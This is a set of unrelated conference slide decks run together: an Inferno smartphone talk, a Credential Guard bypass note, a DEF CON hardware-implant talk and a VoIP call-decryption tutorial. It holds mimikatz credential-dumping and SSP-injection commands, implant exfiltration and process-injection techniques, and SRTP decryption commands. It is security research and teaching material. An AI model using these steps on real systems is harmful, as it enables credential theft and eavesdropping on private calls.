programs are now easy • Just import your phone’s GPS device and camera • (Thief is probably pretty perplexed anyway) Hellaphone John Floren Introduction Android Inferno Bibliography Conclusion • It’s not that hard to strip down Android for your own purposes • With a bit more work, Inferno could be a viable smartphone OS • It’s fast • It’s light • It’s easy to work on • It already comes with a bunch of software and infrastructure, you’re not going from scratch • No app store, but if you didn’t write it yourself, you can’t trust it anyway, right? Hellaphone John Floren Introduction Android Inferno Bibliography Get in! Code at http://bitbucket.org/floren/inferno Hellaphone John Floren Introduction Android Inferno Bibliography Bibliography I [1] Alasdair Allan. Got an iPhone or 3G iPad? Apple is recording your moves. http://radar.oreilly.com/2011/04/apple-location-tracking.html, April 2011. [2] Dan Goodin. Hijacking iPhones and other smart devices using SMS. http://www.theregister.co.uk/2009/07/31/smart_phone_hijacking/, July 2009. [3] Dan Goodin. BUSTED! Secret app on millions of phones logs key taps. http://www.theregister.co.uk/2011/11/30/smartphone_spying_app/, November 2011. [4] Dan Goodin. Malicious apps infiltrate Google’s Android Market. http://www.theregister.co.uk/2011/12/12/android_market_malware/, December 2011. [5] Kathleen Hall. BlackBerry to co-operate with police after youths used BBM to organize riots. http://www.computerweekly.com/news/2240105290/ Blackberry-to-co-operate-with-police-after-youths-used-BBM-to-organise-riots. [6] Josh Halliday. BlackBerry wins the battle but not the war in India. http://www.guardian.co.uk/technology/2010/sep/01/blackberry-india-rim, September 2010. [7] Tom Warren. Windows Phone SMS attack discovered, reboots device and disables messaging hub. http://www.winrumors.com/ windows-phone-sms-attack-discovered-reboots-device-and-disables-messaging-hub/, December 2011.
pdf
Bypass Credential Guard 0x01 Credential Guard 1 Windows Defender Credential Guard (WDCG) Windows 10 WDCG LSASS (LSAISO) , (trusted) administrator / System LSASS/LSAISO WDCG NTLM Kerberos (Kerberos derived credentials) (domain credentials) Credential Guard lsass 2LSALSAVSM 2 Gredential Guard Microsoft Powershell TPM -1.2 2.0 UEFI - 64 CPU CPU Windows Hyper-v Windows gpedit.msc) Windows Defender "" -> “” -> “” -> “Device Guard” "" ""; "" "DMA" "UEFI" Credential Guard "" Windows System ID 1415 LSA LsaIso.exe mimikatz gpupdate /force 1 Gredential Guard 0x02 Bypass Credential Guard 1Dump SAM CG ( Credential Guard ) SAM CG 2SSP SSP lsass.exe Microsoft Mimikatz ssplsasslsass c:\windows\system32\ mimilsa.log mimikatz # privilege::debug mimikatz # token::elevate mimikatz # lsadump::sam 1 2 3 mimikatz # privilege::debug mimikatz # misc::memssp 1 2 3NetNTLM Downgrade Attack NetNTLM NetNTLMv1NetNTLMv2v1 v2 Windows NetNTLMv1 NTLM SSP NetNTLMv1 & Usage 0x03 https://docs.microsoft.com/zh-cn/windows/security/identity-protection/credential-guard/credenti al-guard-requirements https://docs.microsoft.com/en-us/windows/security/identity-protection/credential-guard/credenti al-guard-manage https://docs.microsoft.com/zh-cn/windows/security/identity-protection/remote-credential-guard https://blog.stealthbits.com/defender-credential-guard-protecting-your-hashes/ https://www.microsoft.com/en-us/download/details.aspx?id=53337 https://github.com/eladshamir/Internal-Monologue 1 Internal-Monologue.exe 1
pdf
DIY Hardware implant over I2C Part of the NSA Playset Josh Datko and Teddy Reed DEF CON 2 2 August 10, 2014 Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 1 / 60 Outline 1 Introduction NSA Playset DEF CON Series 2 Deconstruction I2C Attack Surfaces 3 Reconstruction I2C Module Controller Device GSM Module 4 Improvements and Future Work CHUCKWAGON Improvements GSM Exfil Alternaive: Audio 5 Wrapup 6 Demo Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 2 / 60 NSA Playset Series What is the NSA Playset? We hope the NSA Playset will make cutting edge security tools more accessible, easier to understand, and harder to forget. NSA Playset Talks RF Retroreflector Penn & Teller Friday 12:00 DIY Hardware Implant Track 1 Sunday 11:00 GSM Sniffing Track 1 Sunday 12:00 PCIe Track 2 Sunday 14:00 Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 3 / 60 Inspired by the NSA The NSA apparently has a hardware hacking catalog.1 Flip. . . Flip. . . Flip. . . Oh look honey, there’s an I2C controller board we can get. It attaches to a computer and it’s modular, so you can add a GSM cell phone for exfil. That’s nice dear. I wonder how that works. . . 1like SkyMall for spies and without the Bigfoot. Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 4 / 60 Requirements for the implant From the docs: Must attach over I2C to the target. Must include GSM reachback to the implant. Our requirements: Easy to use. Open Source Hardware. Flexible: Allow for multiple communication and software protocols. Fun. Single chip solutions aren’t as fun. Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 5 / 60 Implant Control Diagram Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 6 / 60 Background: What is I2C Serial bus. Two-wires: (plus power and ground).2 I Data: SDA I Clock: SCL Multi-master. Multi-slave. Addressable. Standard speed is 100kHz (100kbps). High Speed: 3.2Mbps theoretical max. 2Typically 5 or 3.3V Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 7 / 60 Background: I2C in visual form Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 8 / 60 I2C attack surfaces RAM EEPROMs PCI and PCIe Battery controllers Video . . . Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 9 / 60 Video I2C Why is there I2C on your monitor adapter? How does your computer “automatically detect” monitor resolution? EDID Extended Display Identification Data DDC Data Display Channel, a.k.a. 5V I2C Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 10 / 60 EDID Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 11 / 60 $ edid-decode ioreg -lw0 -r -c "IODisplayConnect" Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 12 / 60 EDID Extension Blocks Tag Number Extension Block Description 00h Timing Extension 02h CEA-EXT: CEA 861 Series Extension 10h VTB-EXT: Video Timing Block Extension 20h EDID 2.0 Extension 40h DI-EXT: Display Information Extension 50h LS-EXT: Localized String Extension 60h DPVL-EXT: Digital Packet Video Link Extension A7h, AFh, BFh DTCDB-EXT: Display Transfer Characteristics F0h EXTENSION Block Map FFh EXTENSIONS defined by the OEM Parsing implemented by the OS-supplied VESA driver or GPU driver manufacturer. Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 13 / 60 Exploiting EDID/EDID Extension parsing Hacking Displays Made Interesting Blackhat EU 2012 Andy Davis - NGS Secure https://github.com/nccgroup/EDIDFuzzer Simple adaptation for BeagleBone Implemented in Python (BBIO) https://github.com/theopolis/bone-edidfuzzer Discover proprietary EDID extensions! Moar fuzzing! Or assume a-priori software control... Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 14 / 60 I2C everywhere IC3 A video card may have multiple I2C buses and devices. NVIDIA cards may have I2C for the following: EEPROM for encrypted HDCP keys Onboard voltage regulator Thermal sensor TV decoder chip (older cards) 3C’mon, it’s punny Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 15 / 60 Exploring VGA I2C Let’s start exploring our attack surface. Pin Name Description 1 RED Red Video 2 GREEN Green Video 3 BLUE Blue Video ... ... ... 5 GND Ground 9 KEY Optional +5V output from graphics card 12 SDA I2C data 15 SCL I2C data clock VGA Pinout Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 16 / 60 I want my I2C 4 4Dire Straights fans, anyone? Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 17 / 60 Filling in the details Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 18 / 60 Controller Selection BeagleBone Black is the embedded hacker’s friend: 1GHz AM3358 ARM® Cortex-A8 512MB DDR3 RAM Two independent Programmable Real-Time Units (32bit) Crypto accelerators for AES, SHA, MD5 UARTs, PWM, LCD, GPMC, SPI, ADC, CAN, Timers Two I2C buses Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 19 / 60 CryptoCape The BBB ecosystem enables easy hardware expansion with Capes. Let’s add some hardware crypto and a micro: Authenticators: ECC & MAC (SHA256) Encrypted EEPROM (AES-128-CCM) Battery backed up Real-time clock Trusted Platform Module ATmega328p, all sorts of handy. Plus it’s a programmable I2C slave. Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 20 / 60 Add the controller Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 21 / 60 GSM Module Seeed Studo GPRS Shield v2: Arduino form factor GSM Quad band support TCP support SIM card holder Works with Tmobile, AT&T I You can buy pre-paid SIMs with cash. I T-Mobile has unlimited talk & text for 35USD. Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 22 / 60 Add the GSM module Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 23 / 60 Moar Power? BBB draws 460mA on boot CryptoCape GSM Shield draws 300mA on average for “talk”, but peak of 2.0 A!? Meet the LiPoWerCape I Switching voltage regulator with noise filtering I Dual cell LiPo input I Output to 5V Power Rail Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 24 / 60 CHUCKWAGON We still need a way to easily connect to the video adapter. Meet CHUCKWAGON: DDC to I2C converter. Breadboard friendly. Logic level converters for I2C . Supplies 5V from target (not on all VGA connectors). Power indicator. Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 25 / 60 CHUCKWAGON schematic Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 26 / 60 CHUCKWAGON board Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 27 / 60 I2C hack not that new. . . As seen on Hackaday Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 28 / 60 Add the CHUCKWAGON Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 29 / 60 Connect to GSM module Ok, so let’s connect to the GSM Shield from the Beagle! BBB’s UART4, broken-out by ATmega’s program jumpers. GSM’s shield software-serial, D7 and D8 /me checks datasheet one last time... Needs logic level converters! Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 30 / 60 Completed Hardware with Battery Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 31 / 60 Measuring current Dave Jones’ µCurrent Gold Trusted by hardware implant designers. Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 32 / 60 Completed Hardware without Battery Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 33 / 60 Software flow Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 34 / 60 Usage 1 Get malware on target. 2 Attach CHUCWAGON for exfil or control. If software on the target can communicate with the implant then: Target can exfil out to implant to GSM. Target can exfil out to implant for storage. Implant can provide code for target to run. Control the implant over GSM ! control the target over GSM Why is this significant? I2C via the video adapter is an always on, bi-directional bus on every laptop, PC, or server. Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 35 / 60 Accessorize! Prepared for anything or NSA hacking toolkit? Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 36 / 60 How to improve the CHUCKWAGON What does CHUCKWAGON rev. B look like? Consolidate into one board: ImplantCape HDMI footprint vs. VGA Could all be done from AVR (less power), but BBB is more fun and provides more options. VGA Tap. I Combine with SALSAFLOCK for a implant plus RF retroreflector. Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 37 / 60 Using Crypto for Evil! Long history of Cryptography and Malware! Cryptoviral Extortion: 1989 PC Cybord, Joseph Popp 1996 Macintosh SE/30 crytovirus PoC, Young and Yung 2006 Gpcode.AG/AK, Cryzip 2013 CryptoLocker, CryptorBit Reversing Anti-Analysis: Packers, Obfuscator, VM-based JIT 2011 TPM ”cloaking” malware 2014 Uroburos, encrypted VFS 2014 TPM-enabled super-targeted malware Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 38 / 60 Using Crypto for Evil! The CryptoCape includes a TPM... I2C friendly Protected RSA private key storage Windows 8 friendly More or less optional, as there is most likely an onboard TPM Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 39 / 60 Cloaking Malware with the Trusted Platform Module 2011 USENIX Security Alan M. Dunn, Owen S. Hofmann, Brent Waters, Emmett Witchel Summary: Use TPM-protected keys and an Intel TXT PAL to protect malicious code execution from observation, analysis, and tamperment. Intel TXT and remote attestation are hard! But generating a public key on a TPM and using that to encrypt additional payloads is easy... Put a TPM on your implant and protect against nasty network interception. Also restrict analysis to the target machine upon discovery (or force memory analysis). Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 40 / 60 TPM-enabled super-targeted Malware Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 41 / 60 TPM-enabled super-targeted Malware Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 42 / 60 TPM-enabled super-targeted Malware Windows 8 automatically enables/initializes a TPM, then creates and manages your owner password. Access to TPM is abstracted through Microsoft CSP. Windows PcpTool Kit: NCryptOpenStorageProvider NCryptCreatePersistedKey NCryptExportKey NCryptDecrypt In memory process creation: CreateProcess ZwUnmapViewOfSection VirtualAllocEx WriteProcessMemory Python pefile to inject encrypted PE section into a decryption stub. Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 43 / 60 TPM-enabled super-targeted Malware Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 44 / 60 tpm-malcrypt fork tpm-malcrypt! https://github.com/theopolis/tpm-malcrypt tpm-keyextract, create and exfil a storage public key malcrypter, encrypt and inject into decryption stub malcrypt, decryption stub, process creation/injection Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 45 / 60 Malicious Exfiltration via Audio Backstory: #badBIOS thought to use Audio as an out-of-band exfiltration or C&C mechanism. Dismissed as infeasable by BIOS development SMEs. Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 46 / 60 Malicious Exfiltration via Audio Data of Audio Protocols are very well defined and resiliant. QPSK10 (10 baud), QPSK05 (5 baud), quadrature phase shift keying modulation to provide forward error correction. Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 47 / 60 Malicious Exfiltration via Audio Possible to ”pivot” through colluding machines. Local network exploitation creates a mesh of audio-capable relays such as idle headphones. Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 48 / 60 Demos, Learning, and Fabulous Prizes Join us in the HHV for CryptoCape and WAGONBED demos! Challenge: Solve the puzzle here: theopolis.github.io/tpm-malcrypt/challenge.html The first 5 correct submissions win a DIY hardware implant kit (No hardware hacking experience required) Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 49 / 60 Demos, Learning, and Fabulous Prizes Thank you! Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 50 / 60 Upcoming Book Preorder with code: BBSAeB at packtpub.com. Setting up a Tor bridge and building custom front panel. Two factor authentication with a Fingerprint scanner and the CryptoCape Using the TPM to protect GPG keys Running an IRC gateway with BitlBee, ZNC, and using OTR for protected chat. Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 51 / 60 POC Code CHUCKWAGON sketch and scripts https://github.com/NSAPlayset/CHUCKWAGON Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 52 / 60 i2cdetect on BBB Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 53 / 60 i2cdetect on target Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 54 / 60 chuckwagon util on BBB Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 55 / 60 chuckwagon util on target Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 56 / 60 BBB starting the GSM module Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 57 / 60 BBB waiting on text message Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 58 / 60 Receiving the message on the target Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 59 / 60 Executing the text message Josh Datko and Teddy Reed (DEF CON 2 2 ) DIY Hardware implant over I2C August 10, 2014 60 / 60
pdf
PentesterAcademy.com ©PentesterAcademy.com VoIPShark: Open Source VoIP Analysis Platform Nishant Sharma Jeswin Mathai Ashish Bhangale PentesterAcademy.com & AttackDefense.com PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com About Us Me, Nishant Sharma • R&D Manager and Lead Trainer, Pentester Academy • Firmware developer, Enterprise WiFi APs and WIPS Sensors • Masters degree in Infosec • Published research at Blackhat US/Asia, DEF CON USA and other venues Co-authors • Ashish Bhangale, Sr. Security Researcher • Jeswin Mathai, Security Researcher PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com PentesterAcademy.com PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com AttackDefense.com PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Talk Overview • VoIP Basics – SIP, RTP – Secure: TLS, SRTP • Recovering/Decrypting VoIP Calls • Current open source tools and issues • VoIPShark – Architecture and Internals – Analyzing VoIP Traffic – Recovering Calls – Detecting Attacks Passively – Demo PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com VoIP Telephony • Signalling + Media PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Signalling Protocols SIP (Session Initiation Protocol) • Developed by the IETF • Replacement for the desk phones and PSTN (Public Switched Telephone Network) H.323 • Created by the ITU-T • Focused on videoconferencing but also used for voice calls SCCP (Skinny) • Cisco proprietary protocol used for line-side control of phones PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Session Initiation Protocol • Text-based protocol • Applications – Calls (audio, video) using other media steams like RTP – Text messages using SIP “Message” method • Works with other protocols • Session Description Protocol (SDP) to define with media negotiation and setup • Can operate over TCP, UDP or SCTP (Stream Control Transmission Protocol) • Security is provided by TLS (Transport Layer Security ) i.e. SIP over TLS. PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SUBSCRIBE, PUBLISH and NOTIFY PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Session Initiation Protocol: Sample Call Flow PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com User Agent Server (UAS) Solutions www.sipfoundry.org freeswitch.org www.elastix.org www.asterisk.org www.3cx.com PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Softphone clients • Program for making telephone calls over IP • Some options – Zoiper – X Lite – LinPhone – MicroSIP Factors in choosing a good softphone client • Check codec support • Check encryption capabilities (Especially in free versions) • Other functionalities (i.e. Text message option, hold, waiting etc.) www.zoiper.com www.microsip.org www.linphone.org www.counterpath.com/x-lite-download www.3cx.com PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Asterisk Now + = PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Scenario PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Possible Configurations • SIP + RTP • SIP over TLS + RTP • SIP + SRTP • SIP over TLS + SRTP PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Possible Configurations • SIP + RTP • SIP over TLS + RTP • SIP + SRTP • SIP over TLS + SRTP PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SIP/SDP Packets PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com RTCP Packets PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com RTP Packets PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Recovered VoIP Calls PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Flow Sequence PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Reconstructed Call PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Possible Configurations • SIP + RTP • SIP over TLS + RTP • SIP + SRTP • SIP over TLS + SRTP PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SRTP key in SDP packet PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SRTP Traffic PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Encrypted Call PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Possible Configurations • SIP + RTP • SIP over TLS + RTP • SIP + SRTP • SIP over TLS + SRTP PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com No SIP Traffic PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com TLS Traffic (SIP over TLS) PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com No RTP Traffic PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Why No RTP Traffic? • Wireshark uses SDP packet to figure out the port RTP/SRTP stream will use. • SIP and SDP are encrypted, so wireshark can’t figure out. PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Undecoded RTP Traffic PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Decode As PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Decode As RTP PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com RTP Traffic PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Checking RTP Streams PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Analysing RTP Streams PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Playing RTP Streams PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Possible Configurations • SIP + RTP • SIP over TLS + RTP • SIP + SRTP • SIP over TLS + SRTP PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com TLS key exchange methods • TLS uses symmetric ciphers (i.e. AES, Blowfish) to encrypt the data • Two options under realistic approach – DHE (Diffie Hellman Key Exchange) – RSA (Asymmetric encryption) PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Diffie Hellman Exchange Assumption • Attacker even after seeing the exchanged colours can’t guess the secret colour. • Attacker knows and also But can’t know which colour is added. More on: en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com RSA (Asymmetric Encryption ) PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Observations? • Can’t recover keys derived with ECDHE/DHE by listening to traffic • For RSA, if we can get private key of server, we can decrypt traffic PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com TLS Traffic (SIP over TLS) PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Diffie Hellman Exchange PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Undecoded SRTP Traffic PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Decode As PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Decode As RTP PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Checking RTP Streams PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Analysing RTP Streams PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Playing RTP Steams PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com TLS Traffic (SIP over TLS) PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com RSA based key exchange PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Decrypting TLS traffic • RSA is used to exchange keys • We can decrypt with private key installed on Asterisk One • Keys and certificate location on Asterisk One: /etc/asterisk/keys • We have to get the default.key from the server PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Edit > Preferences > Protocol > SSL PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Adding Asterisk default private key PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Decrypted SIP traffic PentesterAcademy.com ©PentesterAcademy.com SRTP key in SIP/SDP decrypted packet PentesterAcademy.com PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Open Source Tools for Decrypting SRTP • SRTP Decrypt • Libsrtp PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SRTP Decrypt • Tool to decipher SRTP packets • Takes symmetric key to decrypt the SRTP traffic • Output decrypted packets in form of hexdump • Wireshark can reconstruct RTP packets from the hexdump PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SRTP Decrypt • GitHub: github.com/gteissier/srtp-decrypt PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SRTP Decrypt: Pre-Installation • Installing libgcrypt • Installing libpcap PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SRTP Decrypt: Installation • Cloning • Compiling PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SRTP Decrypt: Ready PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SRTP Decrypt: Copying SRTP key PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SRTP Decrypt: UDP Ports PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SRTP Decrypt: Decrypting SRTP Traffic Command: ./srtp-decrypt -k uK+RfjSi9/fUFr8zoJu6zdqPw6MGtONhgX4yqwRj < ../Normal_Call_two_parties.pcap > decoded.raw • -k : Defined SRTP key (uK+RfjSi9/fUFr8zoJu6zdqPw6MGtONhgX4yqwRj in this case) • Normal_Call_two_parties.pcap Input file • decoded.raw Output file PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SRTP Decrypt: decoded.raw PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SRTP Decrypt: Importing Decrypted Content PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SRTP Decrypt: Importing Decrypted Content PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SRTP Decrypt: Imported Decrypted UDP Packets PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SRTP Decrypt: Decode As PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SRTP Decrypt: Decode As RTP PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com SRTP Decrypt: Decoded Packets PentesterAcademy.com ©PentesterAcademy.com SRTP Decrypt: Checking RTP Streams PentesterAcademy.com PentesterAcademy.com ©PentesterAcademy.com SRTP Decrypt: Analysing RTP Streams PentesterAcademy.com PentesterAcademy.com ©PentesterAcademy.com SRTP Decrypt: Playing Decrypted Call PentesterAcademy.com PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp • Implementation of the Secure Real-time Transport Protocol (SRTP) • Can decipher SRTP packets PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp • GitHub: github.com/cisco/libsrtp PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp: Installation • Cloning PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp: Installation • Configure PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp: Installation • Make PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp: Ready PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp: SRTP key PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp: Copying SRTP key PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp: Filtering for one sender PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp: Filtering single RTP stream PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp: Exporting filtered traffic PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp: Saving exported traffic PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp: Command • ./rtp_decoder -a -t 10 -e 128 -b 2stvabBcXXf3HtaHCSsB8WACeRBst9f7lwLqlzqE * < ./Normal_Call_two_parties_Exported_RTP.pcap • -a Use message authentication • -t Authentication tag size (80 bits so 10 bytes) • -e Length of encryption key. In our case, AES_CM_128_HMAC_SHA1_80 is cipher. Hence, 128 bit key is used. • -b SRTP key in ASCII format PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp: Command output PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp: text2pcap help PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp: text2pcap • text2pcap -t "%M:%S." -u 10000,10000 - - > ./Normal_Call_two_parties_Decrypted.pcap • -t Treat the text before the packet as a date/time code • %M:%S Time format • -u Prepend dummy UDP header with specified source and destination ports PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp: Decrypting RTP traffic PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp: Decrypted traffic PentesterAcademy.com ©PentesterAcademy.com PentesterAcademy.com Libsrtp: Decode as PentesterAcademy.com 